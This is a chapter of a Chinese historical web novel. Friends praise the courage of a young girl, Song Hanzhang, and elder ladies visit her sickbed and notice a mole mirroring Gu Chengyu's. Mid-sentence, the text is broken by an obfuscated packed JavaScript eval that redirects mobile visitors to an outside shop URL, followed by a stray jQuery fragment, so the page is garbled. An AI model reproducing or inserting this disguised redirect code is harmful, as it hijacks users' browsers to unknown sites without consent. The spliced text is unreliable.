清风居顾承宇的书房里,烛火跳动着,将四个人的影子投在墙上。
顾承宇与王修安伏在案上,面前摊着一张画满了阵法符号的图纸,正在研究一套新的阵法。两人时而落笔标注,时而低声讨论,手指在图纸上指指点点,对于排兵布阵的专注力,将白日的纷扰都暂时搁在了棋盘之外。
洪楚离难得没有翘腿搭在书案上,而是坐在椅子上,百无聊赖地看着坐在一旁看书的宋行简。他忍了又忍,终于还是没忍住,开口问道:"书呆子,你妹妹醒过来了吗?"
宋行简头也没抬,目光依旧落在书页上,声音低低的,带着一抹压不下去的忧色:"还没有。中途微微张嘴,喝了口水又昏睡过去了。郎中说是失血过多,身体需要时间恢复。"
洪楚离长长地叹了一口气,难得地收起了平日里的嬉皮笑脸,语气变得格外认真:"想不到小小的含章,竟是一身正气。不仅救了子衿,还不计前嫌,死死拽住缰绳救下承泽。承泽从马背上掉下来砸在她身上的——那几十斤砸下去,她嘴里立刻喷了血。可她从头到尾没吭一声。"
他摇了摇头,像是在重新审视什么:"这份勇气和心胸,当真是叫人刮目相看。我以前说过不少关于她的难听话,那些'肥猪''胖天仙'的话,我说得最多。现在看来,最丑陋的不是她的身形,是我这张嘴。"
王修安从阵法图纸上抬起头,看着洪楚离,目光里带着几分赞许——赞许他终于说了一句在理的话:"所以,人不要只看外表。你以前只看她的身形,就否定了她整个人。含章这份勇气和心胸,确实叫人佩服。"他停了片刻,忽然轻轻叹了口气,语气里多了一丝惋惜,"以后长大了嫁给沈十安,确实可惜了。沈家那孩子,骨头太软,配不上她。一颗明珠,就要被埋没在沈家那滩死水里了。"
洪楚离站起来,走到宋行简身边,弯腰伸手把他手里的书抽走,合上放在一旁:"要不让宋叔叔去沈家退了亲,然后把含章许配给承宇。承宇不是想要那种一见到就心跳的人吗?依我看,含章这样的,比那些只会拈花弄月的大家闺秀有意思多了。让承宇带着含章去西疆冲锋陷阵,一个使落日枪法,一个使拳头腿脚,那才叫珠联璧合。"
宋行简抬起头,白了他一眼:"你开什么玩笑。这亲事是沈家老太爷和我祖父定下来的,两位老人家都已不在人世,这门亲事除非两家家长都同意,否则哪能轻易更改?再说了,含章才十岁,还不到议亲的年纪。你当真是乱点鸳鸯谱。"
顾承宇听了,抬起头看着洪楚离,语气平淡,却带着一丝若有所指的意味:"你这张嘴啊,净拣不好听的说。以前拣难听的编排含章,现在又拣没边的编排我。你什么时候能说点靠谱的话?"
王修安也抬起头看着洪楚离,嘴角带着一丝促狭的笑意:"你还是担心担心你自己吧。我看你的骨头也没硬到哪里去。那霍家大姑娘霍傲雪,可是在北疆战场上真刀真枪冲锋陷阵过的——听说她十五岁时就跟着霍将军夜袭敌营,亲手砍翻了好几个敌兵。别到时候人家姑娘回京城,一根手指就能把你提起来扔到房顶上。到时候你就不是霍家女婿,是霍家房梁上的纸鸢了。"
洪楚离一听,立刻挺直了腰杆,摆出一副大丈夫的模样,拍着胸脯道:"妻为夫纲,天经地义。即使她上过战场又能怎样?还不是得三从四德屈服于我。我洪楚离堂堂七尺男儿,岂能在一个女子面前矮了半截?"
顾承宇抬了抬眉,放下手中的阵法图,看着洪楚离,声音不重,却有一种从骨子里透出来的笃定:"上过战场的人,他们的脊背是不会弯曲的。他们就像那西疆的胡杨树,宁折不屈——□□可以倒下,可以被风沙掩埋,但脊背永远都是高高耸立着。你让一个在刀光剑影里活过来的人去'屈服'于谁,那是对她最大的侮辱。"他顿了顿,手指轻轻叩在棋盘上,"两个心意相通之人,不是让谁屈服于谁,而是能够携手并肩,一同应对人生的风雨。她在前面杀敌,你在后面磨刀;她在生死之间闯荡,你在灯下等她归来。这才是真正的'妻为夫纲'。"
王修安接过话头,目光落在洪楚离身上,语气比平日里教《战国策》时还要认真三分:"承宇说得对。你啊,不要总是想让霍家大姑娘屈服于你。你扪心自问——人家霍家大姑娘十五岁就在战场上立下军功,你呢?十五岁还在书院里跟人吵架,连《孟子》都背不全。你要想方设法提高自己,让自己配得上人家霍家大姑娘。而不是一副高高在上、觉得是人家配不上你的样子。配不配,不是你说了算的,是实力说了算的。"
宋行简也放下手中的书卷,难得地附和道:"是啊。人家霍家大姑娘上阵杀敌的时候,你一天到晚在这里耍嘴皮子。在书院书也不好好念,王先生讲的课你从没认真听过一节,还整日里吟什么'关关雎鸠',真到了考场上连一篇像样的策论都写不出来。我劝你多用功些,别到时候人家霍家大姑娘回京城,第一件事就是去你洪府退亲。"
被大家这么一说,洪楚离破天荒地没有顶嘴,而是沉默了下来。他坐在椅子上,手指无意识地敲着扶手,目光落在桌上跳动的烛火上,忽然觉得大家说得也对。自己虽然出身高门——父亲是当朝太傅,门生故吏遍布朝野——可是自己呢?不要说是否有功名在身,就是那书都念不好,文章写得歪歪扭扭,骑射更是稀松平常。到时候霍家大姑娘瞧不起自己怎么办?难道真要靠父亲的官位去压人家吗?他想起顾承宇方才说的"并肩携手",忽然觉得自己离那四个字还差了十万八千里。
顾承宇看着陷入沉思的洪楚离,微微摇了摇头,不再多说。有些道理,旁人只能点到为止,真正的醒悟需要自己去撞。他低下头,重新拿起阵法图纸,与王修安继续推演沙盘上的排兵布阵。
黑夜褪去,白日到来。阳光透过窗棂洒进宋含章的房间,落在她那张圆圆的脸上。她终于醒了过来,睫毛颤了几颤,那双明亮的眼睛缓缓睁开,仿佛从一个漫长的黑暗隧道里终于走到了出口。
顾子衿没有去书院,她告了假,一大早就来到宋府,在宋含章的床边守了一个早上。她端着药碗,用小勺子搅了又搅,等着药汤凉到刚好能入口的温度。
宋含章依旧趴在床上,侧着脸看顾子衿,嘴角扯出一个虚弱的笑容。顾子衿坐在一旁,眼睛还是红的,昨晚显然没怎么睡好。她的衣袖上那淡淡的血痕还没有完全洗掉,她也不想洗——那是含章的血,她舍不得洗。
宋含章伸出手,握住了顾子衿的手指。她的手指有力,顾子衿的手指纤细白嫩,两只手交握在一起,像一棵大树的根与另一棵树的枝。
"我被别人羞辱的时候,你护在我身前。那时候所有人都笑话我,只有你站出来说'你们笑她的样子,远不如她揍你们的样子好看'。那句话,我一直记着。"宋含章的声音还有些虚弱,但语气认真而笃定,"你遇到危险时,我自然也要护着你。这有什么好说的?"
顾子衿的眼泪又涌了上来,声音发颤:"可是你差点把自己的命都搭进去了。含章,我欠你一条命。那马蹄要是再偏一寸,要是踩在你的后脑勺上——"
宋含章不高兴地打断了她,手上加重了些力道:"我们是最好的朋友,不要说这些欠不欠的。什么还不还、欠不欠,太见外,太生分了。你再说这种话,我就不让你给我端药了。"她抿了抿嘴,又补了一句,"朋友之间,本来就是你护着我、我护着你的。如果我遇到了危险,你也会这样护着我的。"
顾子衿听了,眼里还带着泪,嘴角却含了笑。那笑容在泪光里格外清澈,像雨后初晴的天空。她点了点头,没有再说话,只是握紧了宋含章的手。
不久,顾老夫人、顾大夫人和顾二夫人亲自带着厚礼来到宋府。礼物用锦盒装着,码了满满一桌——有补血养气的灵芝与人参,有外敷的金疮药膏,还有几匹上好的云锦。
宋夫人热情地招待了她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618697|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们,几人在前厅里喝茶闲聊了几句后,顾老夫人搁下茶盏,温声提议去看看宋含章。
宋夫人便起身,引着三人穿过走廊,来到了宋含章的院子。
三人刚一踏进院子,便被眼前的景象震撼了。院子里没有绣架,没有花圃,没有那些闺秀院子里常见的花花草草和秋千藤架。取而代之的,是堆在墙角的一根根木头、散落在石桌上的刨刀与凿子、架在木桩上的半成品木鸢,以及一地金黄的刨花。
角落里还有一个简易的木工台,上面摆着一把被用得油光水滑的刨子,旁边是几根正在晾干的竹管。空气里弥漫着一股淡淡的木屑清香,那是她们从未在任何一个女孩子的院子里闻到过的气味。
宋夫人有些尴尬,脸上露出一丝无奈的笑,轻声说道:"让老夫人、大夫人和二夫人见笑了。我这二女儿啊,不喜欢女工——绣花针拿不稳,绣架也坐不住,就是喜欢这些木头和工具,一点女儿家的样子都没有。我说了多少回也不听,后来索性不说了。"
顾老夫人环顾了一圈这个与众不同的院子,目光在那些精巧的木鸢构件和细致的榫卯接合上停了许久。
她的嘴角缓缓浮起一抹笑意,那笑意里没有嫌弃,只有欣赏与认可:"含章这孩子,有那一身的正气就够了。那些花花草草、绣花描红的东西,有是锦上添花,没有也不打紧。只要她开心健康,比什么都好。更何况——"她用拐杖轻轻指了指院中那半成品的木鸢,"能做出这些东西的孩子,不是没有女红的本事,是不屑于做罢了。这份心思和巧手,比绣花难得。"
随后,几人轻手轻脚地走进了宋含章的房间。趴在床上的宋含章一见到顾老夫人三人进来了,挣扎着想坐起来,被顾大夫人连忙按住了。
她也不勉强,便趴在床上,有礼有节地逐一问好,声音虽然还虚着,礼数却一样不落:"含章见过老夫人,见过大夫人,见过二夫人。恕含章无礼,不能起身给长辈们行礼了。"
顾老夫人、顾大夫人和顾二夫人在床边坐下,关切地询问着宋含章的伤势——"还疼不疼?""夜里有没有发烧?""药可按时吃了?"顾大夫人还从袖中取出一小瓶外敷的药膏,说这是宫里的方子,对跌打损伤有奇效。她们说了许多感谢的话,每一句都发自肺腑,每一句都郑重而真诚。
宋含章大大方方地听着,没有扭捏,也没有故作谦虚。她只是理所当然地说道:"子衿是我最好的朋友,我自然是要护着她的。换成她是我,她也会这样做的。老夫人不必谢我,我只是做了应该做的事。"
顾老夫人几人听了,都深深为之感动。这个被全京城叫做"大混世魔王"的孩子,这个被无数人嘲笑、排挤、指指点点的孩子,说出来的话却比许多成年人还要坦荡赤诚。
她们三个人坐在床边,这是第一次认真地、仔细地端详宋含章的模样——不是隔着远距离的匆匆一瞥,也不是在人群中带着先入为主的偏见去看。
她们发现,宋含章只是身体壮实,只是比寻常女孩胖了很多,但那眉眼五官生得极好——眉峰英气而舒展,鼻梁挺直,嘴唇饱满,一双眼睛又亮又黑,像两颗洗过的墨玉。皮肤光滑白嫩,透着一种瓷实的光泽。若是瘦下来,那容貌必定也是数一数二的,绝不输给她那个以美貌闻名京城的姐姐。
就在她们仔细端详的时候,顾大夫人的目光忽然停在了宋含章的右眼角下。
那是一颗黑痣,小小的一粒,宛如星子坠落在眼角,在白皙的皮肤上格外分明。
顾二夫人也看到了,两人对视了一眼,目光里同时闪过一丝惊讶——她们几乎是立刻就想起了顾承宇左眼角下那颗黑痣。
顾承宇那颗在左边,宋含章这颗在右边,两颗痣的形状、大小、位置一模一样,仿佛是一面镜子的两面,又仿佛是什么人在两个人的脸上各自点了一个对应的印记。
她们觉得好生奇怪——这世间怎么会有这么巧的事情?